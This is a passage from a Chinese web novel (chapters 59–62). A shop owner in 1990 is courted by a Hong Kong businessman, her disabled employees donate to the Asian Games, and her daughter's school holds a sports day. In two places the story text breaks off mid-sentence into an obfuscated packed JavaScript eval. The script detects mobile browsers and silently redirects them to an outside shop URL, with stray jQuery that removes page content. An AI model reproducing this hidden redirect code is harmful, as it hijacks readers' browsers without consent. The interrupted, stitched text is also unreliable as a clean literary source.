高歌面带笑意，跟水非仙分享着自己的故事：“我有两个妈妈，一位是我父亲的原配，跟我父亲一起生活在港城。另一位是我的生身母亲，她是英国人，我从小和她一起生活在英国。听说我英国的妈妈，还是我港城那位妈妈，替我父亲寻来的，不过是因为我港城的母亲无法生育，她便大度地替我父亲纳一房姨太太继承香火罢了。” 高歌边说，看到水非仙听得神情专注起来，他便抓住机会悄悄向前半步，替水非仙挡住夜风，他也不扫兴，继续说着：“我父亲跟他原配夫人，是商业联姻，事实上，我父亲是一位对亲情不看重的人。他们需要我，也不过就是想要在祠堂族谱上有个传承。至于我的生身母亲，是个非常温柔的人，你们两个在面对孩子时，非常相像。我从小啊，一直以为我和其他的小朋友一样，有着正常的家庭，只不过是爸爸比较忙而已。我也曾怨过，我的爸爸为什么这么忙，忙到我母亲经常以泪洗面，都等不来他。当初我那样帮你，水小姐，除了看好你未来的发展，主要也是我自己差不多也是单身家庭出来的孩子，比较能共情你们的遭遇。” “我很抱歉，高先生，勾起你伤心的回忆了。”水非仙感到抱歉。 高歌却认真望着水非仙的双眼，他的眼睛满含笑意：“为什么好道歉的，水小姐。我之所以将这些告诉你，那自然是有我的目的。我会做饭，那是我一次次盼着我父亲回来，我知道他吃不惯白人饭，为他学着做菜。后来我也就不盼了，但我不后悔我学会做饭这一项技能。因为在我长大的那一天，我就发誓，我不要做我父亲这样的人，我爱一个人，我一辈子就只认她一个，我想要的，我曾经盼望的，全部都会给她。水小姐，我不需要任何人仰望我，哪怕再困难，哪怕跌到谷底，我都会想办法同我爱的人并肩而行。你也不用担心小莲，我可以等，一年不行就五年，五年不行就十年，十年不行哪怕是一辈子我也认了。我这辈子，只认一个人。我也知道，我是个商人，我做出什么承诺，你都不会信，所以我只做，我只想要水小姐给我一个看我如何来做的机会，哪怕不成，我也认了。” 水非仙没有回答他，她只借着月色向前走着，高歌也不催促她。在他心悸动的那一刻，他就知道自己早已输得彻底，没什么不好接受的。 “高先生，所以你这么努力地来内地打拼，是为了获得你父亲的认可吗？”水非仙问了一句看似无关紧要的话。 高歌摇摇头：“水小姐，我没那么傻，不需要别人来认可。我之所以来发展，是我看到了内地的前景，时 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“请看一看吧，我们珍宝轩人多了可以打折的。”是陈玲的声音，水非仙和高歌循声望去，见到陈玲正站在街口，顶着寒风瑟瑟，可怜兮兮地求着路人，派发传单。 眼前的陈玲梳着短发，身后跟着李秋华，两人正搓着手，将腰弯得很低，可那手中厚厚一沓的传单，到底还是没发出去几张。水非仙一阵恍惚，不过仅仅过去一年，去年的圣诞节，陈玲还意气风发的，是一副大小姐天真活泼的模样，如今到底也是物是人非了。 水非仙带着高歌上前，陈玲看到水非仙，眼神一阵闪躲，仿佛想逃开，不想被对方看到自己落魄的样子。水非仙却一把拉过陈玲的手，只当没发生什么，正常问道：“怎么你亲自发这传单？店里的人呢？” 陈玲下嘴唇一抖，苦笑道：“如今店里的生意不景气，那些大厨仗着都是陪我爸从底层打拼上来的，眼下也不可能开了他们。就在店里作威作福，年轻人能干一点的，都跑走了。今天是圣诞节，生意还成这样，我总得做点什么，这传单，发十张里面能有一个人拿着过来，那也是值得。只是……这传单想发出去，似乎也挺难的。” 水非仙直接从陈玲手中将传单夺过大半，朝她微笑道：“我陪你。”不是我帮你，也不是我给你出主意，而是我陪你。陈玲眼尾感到一阵温柔，半天挤出个“嗯”字来。 水非仙将手中的传单分一半给高歌，同时说道：“若不怕等，那就试试吧，至于你能不能成功，我不看好就是了。”说完唇角带着笑容，分发传单去了。 高歌愣神片刻，反应过来后也压抑不住笑容地跟上去一起忙碌起来。 天上开始飘落雪花，可这雪花还没落到几人的身上，便融化了。十年饮冰，难凉热血。户外是有刺骨的严寒，却也浇不熄这群年轻人的满腔热血。寒冬总会过去，他们相信，在未来等待自己的，必然是春暖花开。 59.愿你无忧 春天在年轻人的期盼中，娇羞地躲在1990年的身后，姗姗来迟。90年对于华国来说，注定是不平静的一年。这一年发生了两件大事，这头一件，是将增设浦东新区为经济特区。这条新闻一出，水非仙便知道，沪市证券交易所即将登上历史舞台，水非仙暂时并不打算让莲仙上市，可她也清楚地知道，新的时代要开始了。 这第二件，第十一届亚运会将在首都举办，这还是华国第一次，主持国际赛事，走向国际舞台。这两件事发生在同一年，令水非仙无比纠结，自己究竟是要选北，还是选南。不过无论是哪个方向，有一点她再也清楚不过，那就是莲仙想要把握好时代的红利，就不能留在原地。最迟明年，就要跟Y市说再见了。 放下手中的报纸，水非仙在谋划未来的同时，耳边飘过几句窃窃私语。 “哎，你们说就是她对吧，东亚百货的老板娘？真的假的！” “这还能有假？莲仙也就是在Y市有点名气，咱们百货商场那么多全国甚至全球有名的大牌，那怎么能最好的位置就给她们店了？我说她和高老板没有关系，你信吗？更别说啊，我看到好几次，他们下班一起回家，看那方向啊，还不是回高老板自己的家！” “我怎么没看到啊！高老板不是港城豪门出来的吗？能看上她？我那边看到她连孩子都那么大了…” “我知道我知道，这两天啊，这话传开了，高老板就不去她那儿了！估计是玩腻了吧！像高老板这样的人，什么美人没见过啊，不过就是吃惯了山珍海味，偶尔见到点清粥小菜觉得新鲜，开开胃罢了。” “你们瞧你们瞎说的，这不是误会人家吗？也许人家从一开始就没有不自量力，就只是平等交易呢你们说是吧？这一个寡妇，开家店发展到今天这个地步，只怕这种事也不会是第一次了。” 水非仙无聊地听着，眼看自己店里门庭如闹市，这帮人的店虽然客流量大，但成交率却是实在不忍直视。职场这种事太过常见，拼不过人家，就喜欢造黄谣。水非仙懒得去辩，就算辩赢了又能怎样？有输有赢的赛场，就会有人被嫉妒吞噬掉，这一点自己可没办法。 只是，高歌几个月以来，一次不落地天天往家里跑，他做的菜也是真好吃，小莲喜欢。上下班有他陪同也能很好地挡住那烦人的赵春燕。水非仙起初还想不明白为什么高歌这两天跟有事忙一样，就不过来了，原来症结在此。 凭着高歌的厨艺，以后跟自己做个朋友也挺不错的，他那一手好菜不仅小莲喜欢，自己也喜欢。当初自己心软答应给他个机会追求自己，不过就是在他身上看到了自己。从前的水非仙也是，风雨中长大，遇到点爱便以为那就是家。如今，自己很幸运有了小莲，物伤其类，又何必为难高歌让他空留遗憾呢？让他试过，再死心，对方总能心里舒服点。 水非仙想，自己都能猜到高歌这两天不来家里的原因，八成高歌也是听到了这些闲话。为了自己的名声才不来的，可高歌怎会明白，旁人若是想诋毁你，那有的是办法，没把柄都能给你造出把柄来，怎会是逃避就能解决的？ 可人活一世，又怎能替他人决定处世之风？水非仙便不再将此事放在心上，专心盘账。这个月的账目有一笔对不上，竟是平白无故比上个月多出一万块来。真是奇怪，一万可不是小数字，在没有增产也没有涨价的情况下，如何能多出这样多的盈利？莫不是自己算错了？水非仙无奈又开始从头盘账。 这一盘账，天竟不知不觉黑了下来。这会儿的百货商场那还没有夜间营业的说法，天刚黑，就会陆陆续续地下班，而在下班之前，百货商场早已关闭大门，剩的不过是些收尾工作。 “水姐姐，别算账了，准备下班啦！”白英作为巡店今天跟着自己来百货公司分店，此刻见水非仙还在忙，开口催促水非仙赶紧准备回家。“呦，这怎么停电了？黑不溜秋的。”还没来得及闭店，商场就先整个黑下来。 这年代停电也属正常，水非仙并没放在心上。 “那是什么啊！好美啊！” “白英姐！水姐姐！快出来看！”店里的姑娘们喊着，听着外面嘈杂的声音似乎整个百货公司的姑娘都出去凑了热闹。 “水姐姐你快来看！好好看啊！”听店员们的话也出去看过的白英，回来坏笑着硬推水非仙来到走廊里，非说有好看的东西等着自己。 水非仙招架不住，来到店面前的回廊，顺着大家望过去的方向也抬头向上望去。 在百货公司的玻璃顶上方往下缓缓降下一个由霓虹灯组成的水仙花，泛着清冷的光芒，成为百货公司唯一的光亮。那水仙花与天上的星子遥相呼应，就好像将那星空揉碎了从天空上抓下来又组装成水仙花的模样。 “好美啊！这是什么花！这是百货公司特意为我们准备的惊喜吗？”水非仙听到身旁有其他店的姑娘激动地喊道。 像是为了回答她的话，与此同时，从天空中飘落一朵朵水仙花，朵朵轻盈，飘至众人身前。水非仙看着那空中飞舞的水仙花，下意识地就在想，有钱人追姑娘的套路不都是这样吗？她还在电视上见过更夸张、更铺张的呢。她无奈摇摇头，只是没想到，有一天故事里的事还能发生在自己身上。更没想到，高歌不仅没有回避，竟反而会以这样浮夸的方式来解决问题。 “呀！水姐姐，你快看呐！这水仙花是用碎布头做的！这碎布头好眼熟啊。不过做得好难看啊！”身旁的白英接住一朵水仙坏笑着塞到水非仙手中。 水非仙听到白英这么说，愣住片刻，或许，在刚才自己也中了《傲慢与偏见》的圈套，戴着有色眼镜去审视了旁人。这水仙花可以美轮美奂，可以精致无比，那样它们虽然造价高，却并非真正昂贵。可如今的水仙花，针脚粗糙，细看之下就能看出它的制作者并不会针线功夫，这样的水仙就是无价之宝了，自己还得上吗？ “白英，这些碎布头，是从咱们这里高价买的？我对不上的账就是这里？这恐怕不是一个月就能攒出的量，是从上个月开始，你 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楼下的高歌继续开口：“水小姐，我准备这些并不是想从你这里索求一段关系，又或者是询问一个答案。我送你这些，只是想告诉你，一辈子只认利益的高歌，在你这里是例外，为你我付出什么都愿意。哪怕你这一辈子，不会为我停留，也不回头看我一眼，我也愿守你一生无忧、护你岁岁平安。同时，我想借这个机会告诉我所有的合作伙伴，水小姐的能力不需要我来证明，你们慢慢自然会明白。若说我们之间有什么，那是我死皮赖脸、死缠烂打，但我目前还处于未成功的状态，这没什么好不能说的。我不需要你们帮我追求水小姐，同时也请你们不要在东亚百货做出任何伤害水小姐的事。这，是我高歌的底线。” 水非仙忍不住开口问道：“你这又是何苦？” 高歌抬手接住一朵漂洋的百合，温柔笑笑，取下麦克风，对着水非仙高喊道：“打开看看吧，每一朵水仙花都承载着我的心意。” 听到高歌这么说，商场的众人，拆开自己的水仙花，众人惊讶地发现，这百合花，里面是有字的，并且每一朵内容都不一样。 水非仙打开自己面前的这朵，上面写着：天仙不行地，且借水为名。 白英将自己那朵递过来，上面写着：却笑涪翁太脂粉，误将高雅匹婵娟。 这些员工们到底是欺软怕硬，从前觉得是水非仙粘着高歌，什么难听的话都能编排出来。如今听高歌亲口承认了，是自己倒贴水非仙，这些人心里在难受，也都会憋着。嘴上立马改口，都开始感叹才子佳人的浪漫爱情，改口的速度真是令莲仙的员工们不齿。 水非仙没工夫理会这些，她不敢想象，不过几天时间，高歌要经过怎样的工作量，才能做出这样多的水仙花来。若是放在后世，这些诗句，网络搜索片刻就有答案。可在这个年代，那是要一本一本去翻书的，更别说高歌这普通话，都是李秋实教了没几年的。 这样夸张的诗句，亏他敢写。水非仙向下望去，对上那双满含笑意的眸子。心里充满着对高歌的感激，无论未来何去何从，这一夜的水仙花绽放的样子，她都不会从记忆中抹去。 60.亚运会 很快，众人就明白高歌为什么说水非仙不需要依靠别人来证明自己。第十一届亚运会即将到来。叶小姐作为89年模特大赛的冠军，将作为东方面孔的代表，参与亚运会宣传片的拍摄。 当然，已经和水非仙达成合作的叶小姐，再一次找到水非仙，却没想到，等她找到水非仙时，对方早有准备。 “水小姐，你可真是料事如神，这都能早有准备啊。只是，似乎水小姐从不做这种风格的衣服，不过看上去倒是挺好看的。”叶小姐捧起衣服，细细欣赏。 “早早准备它，也是我的一点私心，若是真能审核通过，也不枉费芹芹这么多个日夜的辛苦赶工。”水非仙的目光落在那裙子上，像是透过那裙子，回忆起过去的时光。 “什么私心啊？” “请你记住，叶小姐，如果可以，请要求制作者科普一下它。它有名字，它叫马面裙，并非我原创，而是我们华国民族祖上传下来的珍贵宝藏。它很美，事实上，我们这样美的遗产还有很多。我的私心就是想让它在重要场合登上历史舞台。想告诉世界，它属于中国，它是我们先辈留下的美丽篇章。”自己要更快一步，再也不要，被挪用、被偷走了。 叶小姐静静打量着眼前的水非仙，她虽不明白水非仙为什么要这么做，可这事看上去对水非仙来说，似乎很重要，重要到也许一开始，水非仙答应与自己合作，答应捧自己，就不是为了让莲仙扩大知名度，而是早就算好了有今天。她点点头：“交给我。” 宣传片开始投入拍摄，但华国上下却面临着更大的挑战。如今国际环境太过紧张，华国想与世界接轨，想不被时代抛弃，这场盛会必须举办，还得办得漂漂亮亮，漂亮到不能让全球忘了我们，忽视我们。可要举办这么大的盛典，哪来的钱啊，去年一整年，三角债几乎都快将公家和私人的厂子都拖垮，公家的单位和厂子工资都快发不出来了，需要花钱的地方拼拼凑凑都凑不出钱来，难啊，本就人心惶惶的街上此刻充斥着萎靡不振的气氛，灰蒙蒙的大街，想看清前路，到底还是太难了。 高歌回了港城，去想办法筹款。临走前，他告诉水非仙：“港城没几个老钱家族相信港城会如期回归，包括高家都不看好。现在自己能确定的只有那么一两家，除此之外还有一些港城明星坚信不疑，可以他们的力量，恐怕筹措不到多少钱。自己只能尽人事听天命。” 听到高歌这么说，水非仙只为他加油，没多说别的。 等到缺钱办亚运会的消息传开，水非仙再到莲仙时，看到众位姐妹围成一圈，都担忧地问水非仙：“老板，那消息是真的吗？” 水非仙看一圈莲仙的姐妹们，她们其中有一部分是王芹芹带出来的特殊人群，有一部分白英管理的希望工程项目的受益者。无论是哪个，她们的生活都比普通人要难得多。 水非仙勾起一抹漫不经心的笑容：“哎哟，天塌下来有高个子顶着。你们老板我呢，就不是什么舍己为人，有民族大义的人。我反正是不会捐的，我也不提倡你们捐。你们啊，先把自己的人生顾好，听到没有？”要捐钱，自己背着人偷偷去就是了。这些人自己都还需要人照顾呢，怎么能为她们的人生再增加负担。 闭店后，水非仙假装若无其事快速骑车奔向体育局，还好跟小莲说好，让她放学自己回家，不用来店里。否则以水非仙这骑车速度她都害怕给女儿颠到。 八九十年代夜里小偷多，公家单位夜里都是要留人上夜班的。所以水非仙其实并不害怕扑个空。她来到门房，敲敲Y市体育局门房的玻璃窗。一位大爷从里面走出来问水非仙找谁。 “您好，我是来捐钱的，为亚运会，不知道咱们局里今晚哪个领导在？”水非仙问道。 “你跟我来。”老大爷引着水非仙走到一间办公室，里面只有一位戴着眼镜的中年男子，大爷引荐：“这是李副局，这位小姑娘说是来给亚运会捐款的。”说罢直接走了。 李副局一听是来给亚运会捐款的，急忙起身，又是端茶又是倒水的。水非仙连连推辞：“我是来捐钱的，就不要客气了。”说完水非仙从身上掏出个存折来，那存折背后还写着密码。李局长以为对方只是一个小姑娘，能捐个两三百，心意到了就行。没想到对方直接掏出一个存折来，实在是令李局长有些不敢置信。 水非仙有些不好意思：“现金的话，我怕被偷，这存折里有十万。我愿全部捐给体委会。请代为转交。”李局长急忙去取出笔和纸来，就要留下水非仙的名字：“小姑娘你捐这么多钱，无论如何报纸是一定要上的。”见水非仙要拒绝，李局长抢先道：“你且不要推辞，想做雷锋也不是这么做的，听话，Y城的人民包括全国的人民，应该记住你的。在县城十万块都能买套房了。” “请问，捐钱是在这里吗？”熟悉的女声从门口传来，水非仙抬头，无奈极了。门外，是那位门卫大爷领着以白秀云、白英、王芹芹为首的十几位莲仙的姐妹。 姑娘们眼见撞到水非仙，一个个低下头不好意思起来。 “怎么在门口不进来呢？”李局长有些摸不着头脑。 水非仙叹口气：“来都来了，我还能不让你们捐钱不成？进来吧，小骗子们？” “怎么？你们认识？”李局长转头问水非仙。 “她们啊，都是我店里的员工。” 李局长定睛望过去，这些姑娘有的失去了双臂，有的缺一条腿，还有干脆是行动不便被别人扶着过来的。这些本应该接受他人捐款的人，如今站在这里，脸上洋溢着幸福的笑容。李局长见过其他的特殊人群，那是受伤的地方，自己都不敢多看一眼，生怕因为自己的刺激而对人家产生不好的影响。可此刻站在自己面前的这些姑娘们，她们不仅穿着好看的衣服大大方方地将自己身体展示出来，一个个的眼中还充满着自信。 “听说城里有个店，叫莲仙，和希望工程合作的，就是你们吧？”李局长提问，心里已经有了答案。他打从内心佩服这家店，佩服这家店的老板，佩服这家店的员工。听说生长在充满爱的环境里，更懂得去爱人，这话看来不错。 “就是我们！领导你听过我们的名号啊？”白英笑嘻嘻地揽着王芹芹问李局长。 “如雷贯耳，但还是百闻不如一见。你们的身上，多了股侠气。”李局长比个大拇指称赞。 姑娘们听这话，乐成一团，互相开着玩笑。水非仙无奈出声：“我们快些吧，不要打扰人家局长夜里休息。”大家伙这才消停一些，乖乖排着队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189109|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 登记起来。 按照白英的说法，店里每个人都想捐的，只是有些人要留下来看店。大家就选了最应该来的十几个人过来，其他人的钱由他们转交。当然，登记的时候无一例外，细心的白秀云，帮那些没有过来的人，把名字和捐款数量都写下了。 到王芹芹的时候，她在母亲的搀扶下，用脚从怀里认认真真掏出个鼓鼓囊囊的报纸包着的小砖头一样的东西出来。她将那报纸一层一层揭开，是一沓钱，少说也有大几千。 水非仙一看这钱就有点来气：“你们母女俩，好不容易攒下些钱，是不是全在这儿了？我怎么说得来着？万一出个什么事，你们的日子怎么办？” 王芹芹还没开口，白秀云先将那钱往前一推：“小水啊，你放心吧，我们母女俩是认认真真讨论过的。你知道我们一路怎么来的，再坏还能坏到什么地步呢？芹芹给我讲了，办好这场亚运会能为我们莲仙、我们的民族带来什么，我们都觉得值得。总不能，我们母女俩幸运地看到春色，就不让别的小朋友见一见春天了吧？” 水非仙再没说什么，她点点头，鼻头控制不住地微微发酸，这里的每一张面孔都是这样美，她何其有幸遇到这样一伙天使一样的姑娘，携手并进。 轮到一位皮肤黝黑新来不久的姑娘时，她掏出两张一百后，再也忍不住情绪，放声大哭起来。白英连忙上去询问怎么了。那姑娘却说：“我没多少钱，我感觉自己很内疚。我每个月工资不低了，可我的娃娃要上学，我的爸妈还需要我养活，我只有这么多。”白英一听，死过要把那钱拿回来不许她捐了，可那姑娘不，她边哭边硬是把钱塞给李局长。 李局长坚决不愿意收她的钱，那姑娘见状哭得更厉害了。水非仙刚要开口，谁知那小白英竟抢先一步跺脚道：“王自芳！不许哭了！你这么哭会让李局长误会的。我知道你的心意，我们姐妹都知道，这捐钱是心意，尽力就好，你怎么能把这当成是攀比？你眼红人家王芹芹捐得多，你怎么不看人家王芹芹每天熬夜学习刺绣到几点！既然觉得丢人，那就自己把丢出去的面子挣回来！以后咱也赚那么多，下次国家需要的时候，我们再捐也不迟，你说，好也是不好！” 王自芳听了白英的话，心里觉得十分有道理，当即就止住了眼泪，不再哭了。水非仙看着两人的互动，又是觉得好笑又是欣慰。莲仙的人竟在不知不觉间，已经成长起来了。 捐完钱后，李局长提出送送她们，姑娘们摆手拒绝，表示害怕被抢，都是互相搭伙骑车过来的。李局长这才没说什么，只送他们下楼去。 下楼后，水非仙听到王芹芹在那儿小声哼着歌，似乎是《红色娘子军》。白英冲到最前面，朗声道：“想唱就唱呗，都是自家姐妹，有什么好扭捏的。预备！起！” “古有花木兰，替父去从军。今有娘子军，扛枪为人民。”水非仙也大声地跟着姑娘们一起，边唱边趁着月色回家。 楼上的李局长将窗户打开，静静听着姑娘们的歌声，自己也跟着不住哼唱。他边哼着歌，边写着报告和新闻合作稿。莲仙上下共计捐款十五万，这将会是重大的新闻。李局长心里有预感，这条新闻将会引起轰动，他相信，拥有这样凝聚力的民族，将不会被任何困难击垮。 61.马面裙 第二天，体育局对莲仙上下捐款的新闻伴随着报纸一张张地印刷，传遍了Y市的街头巷尾，甚至逐渐传遍了全国。 这篇报道一是为感谢莲仙上下的无私奉献，二也是以这种方式向全社会承认，缺钱办亚运会这事，真实存在。自此，各单位、各学校都开始自发为人民提供捐款渠道。各地体育局开始接到持续不断的，来自社会各界的捐款。 在排队等待捐款的队伍里，能时常看到老大爷大娘们，从兜里一个一个钢镚地数着往外掏。也能看到连饭都吃不起的乞丐，将自己一整天讨来的饭钱，从碗里往捐款箱里塞。还能看到进城来找工作，在之前市民在夜里避之不及的农民工们将新到手的工资，咬牙塞进捐款箱里，塞完后怕自己后悔转身就走。 如果有人问他为什么会这么做，他们就会回答：“哎，日子再难，到底是自己的国，自己的家。儿不嫌母丑，狗不嫌家贫，遇到困难总是要一起度过的。” 在困难的时候，举国上下一起勒紧裤腰带，共渡难关，亚运能不能如期举办还不好说，可所有华国人的心里都十分确信，这次亚运会，一定会成功，也一定能办好。 水非仙家里，她看着自己的女儿，今天这姑娘放学回来就认真数着自己攒下的全部零花钱，甚至没给自己留一分，她忍不住开口问：“小莲，你确定吗？你所有攒下的零花钱都在这儿了，确定要都捐了？” 小莲用力点头，开心地看着妈妈：“我们老师都夸你啦！说什么，莲仙真是Y市市民的榜样，我们老师说他一个大男人不能输给你们，他自己也跟着捐了好多。还有班里同学也都说呢，咱们莲仙的事，同学的父母们回家都说各个单位开大会的时候都表扬你们！就连我今天放学的时候都听到街边有人议论呢。妈妈，你们是我的骄傲，我想和你们一起，尽自己的一份力。” “好。”水非仙揉揉女儿的头，陪着女儿继续数钱。当天空逐渐黑暗，星星便会熠熠生辉。 没过多久，高歌归来，还带来了好消息。虽然高家这样的老钱家族大多不愿捐钱，可仍有那么几个爱国的港城富商，竟愿意掏出自己的大半积蓄，来为亚运会的举办添砖加瓦。就连高歌本不看好的港城娱乐圈，都有意外惊喜。 港城的明星，收入相对来说这个年代并不算高，他们的力量是有限的。可出乎高歌的意料，他们之中甚至有人卖车卖房，只为尽自己的一份力，而更有甚者，他们自发举办义演，用尽全力来筹集捐款，最后竟取得喜人成果。 “只可惜，我竭力劝说高家，仍是无果。只能自己出一点心意，添个几十万罢了。”高歌无奈道。 “为何大家肯如此尽心尽力？”水非仙好奇地问道，毕竟这会儿谁也不能确定，港城是否能如期回归。 高歌望着水非仙的眼睛回答：“因为他们坚信港城定会回归，因为他们看到了华国民族上下一心的凝聚力，因为他们看好这样的意志力定会在未来创造出奇迹。其实，走出去就会知道，背后有个强大的祖国，多么重要。高家这样唱衰的人确实不在少数，可是水小姐，自我来内地以后，自我认识你以后，我无比确信，这片土地，满载奇迹。他们，定然也是这般相信。” 高歌的归来与港城捐款的到位，补上了最后一块拼图。自此，这场由华国人民众筹而来的亚运会，终于即将拉开序幕。 首先是亚运会宣传片的发布，其中叶小姐的亮眼表现，惊艳了整个亚洲。 在宣传片里，她起初穿着一身玄色仿螺钿马面裙，这条马面裙，上用贝壳线与金线混在一起进行刺绣，那效果便是今天所说五彩斑斓的黑。选取图案并非二龙戏珠或龙凤呈祥这种常见的式样，而是单单一条巨龙撕开云雾，发出震天响一声龙吟的样子。云层暗合今日华国之处境，内忧外患，而那巨龙撕开云雾发出震天怒吼又暗示着华国人民终将共渡难关，在国际舞台上，闪亮登场。 叶小姐在穿戴这套马面裙时，梳着英姿飒爽的发型，画着剑眉星目的妆容，站在古朴雅致的室内，向镜头前行个抱拳礼。下一刻，她走出房间，来到阳光下，全身的造型也跟着改变，妆容现代，头上梳着高高的马尾辫，身上的马面裙换成另一套代表华国的红色马面裙，上面又用蜀绣的技术以彩色的丝线，绣出憨态可掬的亚运会吉祥物，熊猫盼盼，这时的叶小姐将双臂张开，对着镜头做出拥抱的动作，其中的意思显而易见无需言说。两条裙子无论是哪条，制作组都在旁边对马面裙进行了详细介绍。 此时的人们，不分国籍获取信息的渠道便是报纸和电视机里为数不多的电视台频道，这也就等同于，无论是哪里的人们，接收到的信息都在很大程度上受到传播者主观因素的影响。 于是，就出现了这样的两极化，国内对于亚运会的举办信心满满，甚至有一家报纸，截下叶小姐的第一条裙子，并配以《且听龙吟》为题目的新闻报道。大概就是用浓墨重彩，夸赞了这次华国人民上下一心取得的成果，称十分看好华国人民的未来，尤其是在结尾处，着重还提了一点莲仙的感人事例，并告诉世人，这马面裙就是莲仙准备的，只为让世界看到华国的美。 这篇报道看得华国人心潮澎湃，让更多人知道莲仙这个名字，也让大伙看到了未来的希望。 另一头，西方媒体十分不理解，这亚运会费钱费力的，老百姓反对铺张浪费，都是抵制举办的，怎么还有人全国一心，无私奉献地自掏腰包凑钱来办呢？这不是傻吗？不过这马面裙确实挺好看的，倒是可以了解一下。 意识形态的差距导致他们不能理解，此时的华国人如此努力地准备这一届亚运会，都是为了将来申办奥运做准备。申办奥运，哪怕申办成功后只有一点点可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201750|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能，让华国走出困局，让世界看到华国，让华国下一代的生活发生改变，那此时华国人就愿意去做，而且做得无怨无悔。他们坚信，这是他们这一代人，需要完成的使命。 没过多久，在全体华国人的期待中，第十一届亚运会，正式开始。 从亚运会开始的第一天，好像所有的华国人，都将自己从人生中短暂抽离出来，大家伙在路边走着走着，看到商场的电视机里有比赛，都会忍不住停下脚步去看。此刻，那些穿着打扮不太干净的农民工和衣着光鲜亮丽曾经躲着民工走的城里人一起，互相放下偏见，挤在一起看比赛的场面，到处都是。若是赢了，大家会一同欢呼，不分你我。 街坊邻里互相遇到，那聊的话题都是昨天的比赛，一种激动而又骄傲的情绪弥漫在这个民族之中。往日的迷茫与绝望一扫而空，对明天的希望重新占据华国人的内心。 此刻的运动员们，心里只有一个想法：这场比赛那是我们的父老乡亲，一分一分钱凑出来的，我们就是拼了这条命，也要为他们争回来荣誉，也不能让大家失望。 其中，不少女将的亮眼表现，让整个亚洲为华国的姑娘竖起大拇指。其中就有一位姑娘，单枪匹马斩获三金一银，一时之间成为无数华国姑娘们心中的榜样。这一年里，最受华国年轻父母欢迎的新生女孩名字，不再是“改改”，不再是“招娣”，不再是“胜男”，而是变成了“亚萍”。 十六个日夜的狂欢最终轰轰烈烈地结束，可这一次亚运会余温却迟迟不退，它的余韵为华国民族后续的发展带来重要影响。这样的余温放在整个民族来说，还需要一段时间才能显现出作用，但放在莲仙和水非仙这样规模的两家小店里，带来的影响就是翻天覆地的，莲仙的产品再次来到有价无市的状态，市场对莲仙产品的渴求度达到巅峰。 当水非仙发现自家的产品在黑市里能炒到十倍的价格时，她就明白，莲仙进一步升级迫在眉睫。只是又回到那个话题，究竟是该去首都还是沪市，而莲仙的这些姑娘们，又能有多少愿意跟着自己离开从小长大的沪市呢？想到这里，水非仙就十分头疼。 不过这样的大事自然是要缓行，眼前还有一件事更让水非仙头疼。在忙碌中时间过得飞快，小莲已经进入五年级了。此时义务教育实行不久，小学生毕业后就有初中可以念，并没有什么升学压力。因此大城市的小学为给高年级的学生留下更多母校美好的回忆，会开始举办各种团体活动。就比如这次的家庭运动会。 水非仙头疼地揉揉脑袋，小莲的学校是要求父母最好是同时参加的，小莲的班主任知道小莲的家庭情况，怕小莲尴尬，私下提议小莲那一天可以请假的。但水非仙怎么能同意呢？别人家小孩有的回忆，小莲怎么可以缺失？实在不行，自己又当爹又当娘吧，总之这次运动会，她们参加定了。 62.运动会 运动会那天，学校早早将五六年级加起来四个班的家长和学生的凳子安排老师带着学生们排着队放好，就在教学楼背后的阴凉地，运动会只开半天，项目也不多，主要就为给学生和家长一起留下在这所学校的美好回忆。 跑道是高年级唯一的体育老师临时拿粉笔画的，参与这次活动的学校人员和设施不过只有一枚哨子，一个喇叭而已。各班前面摆放着两张双人桌子，后面就是每个班的活动区域。环境简陋，可该上课的时候举办活动，对于孩子们来说，是天大的喜事。尤其小莲她们班主任，也就是杨校长还跟其他几位班主任下了死命令，运动会虽然只有一天，可学校要充分保证孩子们的情绪，不得跟家长讨论和学习有关的内容，还允许家长们给孩子带好吃的，直接将孩子心中的期待值拉满。 小莲今天就很兴奋，水非仙带着她去小卖部买了吃的跟喝的，小莲牵着水非仙的手晃啊晃的，一大早就蹦蹦跳跳地来到学校。东区小学，就是起重机厂和附近的化肥厂两家，为解决职工孩子的学业问题开办的。家长几乎都是这两家厂子的员工，只有极少数在外面做生意，两家厂子提前就知道学生的活动，有孩子在高年级的，厂里会提前帮忙调好班，离开一个上午并不是什么问题，做生意的家长就更不用说，为了孩子没什么不能来的。所以四个班的家长，几乎就是全部到场。 水非仙在路过杨校长时，和杨校长这个老熟人热情地打招呼，打招呼的时候她总感觉座位里有人火辣辣地看着她，令她不太舒服，她回头望过去，看到三户人家坐在一起，不怀好意地看着自己，嘴里还在念叨着什么。水非仙见家长众多，就没作搭理。 她和小莲一起开心地回到座位，小莲将小脑袋靠在妈妈身边，开始给妈妈偷偷讲班里最近的趣事。 “不好意思，老师，请问旁边这儿有人坐吗？”苍老的声音传来，水非仙抬头一看，是一位满头银发的老奶奶，牵着一名小姑娘的手。 水非仙今天与往日的打扮有所不同，为了今天的运动会，她扎着高高的马尾，又穿着一套非常现代的亮色运动衣，脚踩一双白色运动鞋，原身本来今年也就只有21岁，导致水非仙和周围的家长们对比起来，看上去格格不入，就好像一位刚毕业的体育老师一样。 “请坐吧，不过我不是老师，我是艾小莲同学的妈妈。”水非仙开口解释，小莲一个劲儿地在旁边和那位奶奶带来的同学一起憋笑。还不忘打招呼。 “奶奶好。” “阿姨好。” 